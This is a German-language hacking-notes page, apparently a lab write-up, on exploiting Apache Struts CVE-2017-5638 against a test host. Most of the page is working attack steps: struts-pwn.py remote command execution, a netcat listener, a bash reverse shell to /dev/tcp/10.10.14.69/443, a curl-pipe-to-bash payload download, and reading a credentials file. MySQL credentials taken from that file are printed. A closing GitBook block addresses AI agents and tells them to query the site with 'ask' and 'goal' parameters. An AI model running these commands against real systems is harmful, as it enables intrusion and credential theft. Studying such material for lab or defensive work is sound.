> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/apache-struts-exploitation-.action.md).

# Apache Struts

## Ausnutzung von Apache Struts (CVE-2017-5638)

#### **Überwachung der Verzeichnisenumeration**

Während der Registrierung gibt die Anwendung einen Fehler zurück. Die `.action` Die Erweiterung deutet auf eine Apache-Struts-Anwendung hin.

<figure><img src="/files/e9107baae601ddd045b266caa55da6661fe18a65" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Verwenden Sie `struts-pwn.py` um die Remote-Befehlsausführung zu testen:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

Der Befehl funktioniert und bestätigt die Schwachstelle.

<figure><img src="/files/56f7a2bf03efdf5f7b52dcbc1aa350846b5673f2" alt=""><figcaption></figcaption></figure>

#### **Reverse Shell**

1. Richten Sie einen Netcat-Listener ein:

```bash
nc -nvlp 443
```

2. Erstelle ein `index.html` Datei mit der Reverse Shell:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hosten Sie die Datei mit einem Python-Webserver:

```
python3 -m http.server 8080
```

4. Führen Sie die Reverse Shell über den Exploit aus:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Leider schlägt dieser Ansatz fehl.

### **Extraktion sensibler Informationen**

Dateien auf dem Server auflisten:

<figure><img src="/files/377d73d30e1e5f1bbe8f18da26a714e5f4bbd288" alt=""><figcaption></figcaption></figure>

Das `db_connect` Datei enthält Anmeldedaten:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/f0d34b3edcb5d85383ca87c6a21fa45959875149" alt=""><figcaption></figcaption></figure>

Wiederhergestellte MySQL-Zugangsdaten:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="/files/69e7d816ee5916e7f8795e1cd3405752b7078f85" alt=""><figcaption></figcaption></figure>

### Informationsextraktion - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
